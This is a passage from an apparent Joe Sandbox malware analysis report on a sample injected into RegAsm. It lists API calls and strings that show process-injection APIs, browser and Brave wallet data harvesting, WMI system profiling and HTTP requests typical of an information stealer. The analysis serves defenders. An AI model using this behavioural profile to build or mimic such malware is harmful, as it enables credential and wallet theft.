GetProcAddress.KERNEL32(75450000), ref: 0041934F
GetProcAddress.KERNEL32 ref: 00419366
GetProcAddress.KERNEL32(75DA0000), ref: 00419381
GetProcAddress.KERNEL32 ref: 00419398
GetProcAddress.KERNEL32(6F070000), ref: 004193B7
GetProcAddress.KERNEL32 ref: 004193CE
GetProcAddress.KERNEL32 ref: 004193E5
GetProcAddress.KERNEL32 ref: 004193FC
GetProcAddress.KERNEL32 ref: 00419413
GetProcAddress.KERNEL32 ref: 0041942A
GetProcAddress.KERNEL32 ref: 00419441
GetProcAddress.KERNEL32 ref: 00419458
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 0041946E
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00419484
GetProcAddress.KERNEL32(75AF0000), ref: 0041949F
GetProcAddress.KERNEL32 ref: 004194B6
GetProcAddress.KERNEL32 ref: 004194CD
GetProcAddress.KERNEL32 ref: 004194E4
GetProcAddress.KERNEL32(75D90000), ref: 004194FF
GetProcAddress.KERNEL32(6F8E0000), ref: 0041951A
GetProcAddress.KERNEL32 ref: 00419531
GetProcAddress.KERNEL32 ref: 00419548
GetProcAddress.KERNEL32 ref: 0041955F
GetProcAddress.KERNEL32(6C410000,SymMatchString), ref: 00419579

Strings

InternetSetOptionA, xrefs: 00419474
dbghelp.dll, xrefs: 00418F9C
HttpQueryInfoA, xrefs: 0041945E
WriteProcessMemory, xrefs: 00418EE8
SymMatchString, xrefs: 00419573
SetThreadContext, xrefs: 00418EFE
VirtualAllocEx, xrefs: 00418EBC
ResumeThread, xrefs: 00418ED2
CreateProcessA, xrefs: 00418E7A
GetThreadContext, xrefs: 00418E90
ReadProcessMemory, xrefs: 00418EA6

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: aa0f42d6bece18c552eb1cc604d7ce581e092ba0f5388f60eaf4689f17314b05
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: D752F475910312AFEF1ADFA0FD188243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s\%s, xrefs: 00414DF9
%s\%s, xrefs: 00414DBC
%s\%s, xrefs: 00414E10
%s\*.*, xrefs: 00414D10

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcatwsprintf$FileFindlstrcpystrtok_s$CloseCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2867719434-332874205
Opcode ID: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction ID: b7eba5cac22a36ead9a6892618febcd79da0d35a5e48c612e9e7bf25cba82c94
Opcode Fuzzy Hash: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction Fuzzy Hash: C7C12AB1E0021AABCF22EF64DC45AEE777DAF08305F0140A6FA09B3151DB799B858F55

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001,004371C4,004367CF,?,?,?), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction ID: 4ed071eff3b317b22ab60df88982466dd35206364d1ada8e83d6b625ffadc5dd
Opcode Fuzzy Hash: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction Fuzzy Hash: 1AE14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 00409D1C Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001,0043738C,004367FB), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001,004373A0,00436802), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
\BraveWallet\Preferences, xrefs: 0040A105
Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B
Brave, xrefs: 0040A00D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction ID: 8a2ad1bd3e2c4d0d486efa7587ece6a9db0f4abfd96dccfa14c2f17897de87a7
Opcode Fuzzy Hash: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction Fuzzy Hash: 01422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C0F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C17F688,00001000), ref: 6C0F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C0F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C0F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C0F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C0F369F
__aulldiv.LIBCMT ref: 6C0F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C0F3773
EnterCriticalSection.KERNEL32(6C17F688), ref: 6C0F377E
LeaveCriticalSection.KERNEL32(6C17F688), ref: 6C0F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C0F37C4
EnterCriticalSection.KERNEL32(6C17F688), ref: 6C0F37CB
LeaveCriticalSection.KERNEL32(6C17F688), ref: 6C0F3801
__aulldiv.LIBCMT ref: 6C0F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C0F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C0F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C0F394C

Strings

QPC, xrefs: 6C0F38FC
GTC, xrefs: 6C0F3912
MOZ_TIMESTAMP_MODE, xrefs: 6C0F35DB
GenuntelineI, xrefs: 6C0F3639
AuthcAMDenti, xrefs: 6C0F3946

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d4131e22c22affd3f207781a45c296154a181572109b88ed2a5d48d8fce0bfb5
Instruction ID: c9862481f5596c7adb20cfdf021098e858b329fc40818f53c77137c96e4ad31e
Opcode Fuzzy Hash: d4131e22c22affd3f207781a45c296154a181572109b88ed2a5d48d8fce0bfb5
Instruction Fuzzy Hash: B9B1C271B083209FDB09DF28C45475A7BF5BB8E714F14892DF8A9D7390D73099429BA2

Function 00415FD1 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction ID: 9080a14a7b67b64276011378d573b50c5804aa148f90a951dd897f4284ecdc2d
Opcode Fuzzy Hash: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction Fuzzy Hash: F181277190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE79AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

InstallDate, xrefs: 004118ED
Unknown, xrefs: 00411971
Select * From Win32_OperatingSystem, xrefs: 00411895
WQL, xrefs: 0041189A
%d/%d/%d %d:%d:%d, xrefs: 00411943
ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411985

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction ID: 6fd9e62a785f938d9949a7602230453514f9597f3b9bb47a58a2ce8779b9d5c0
Opcode Fuzzy Hash: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction Fuzzy Hash: 17416C71940209BBCB10DBD5DC89EEFBBBDEBC9B11F20411AF611A6190D6799941CB28

Function 0041C5BC Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 0041C66F
UT, xrefs: 0041C8E7

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction ID: b3d1b60dab8e0bcc10452ebd26db77d20d631ca931f269cc1acdcf5005af41f2
Opcode Fuzzy Hash: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction Fuzzy Hash: 58027FB19442688BDF21CF68CC817EE7BB5AF45304F1440EAD949AB242D7389EC5CF99

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

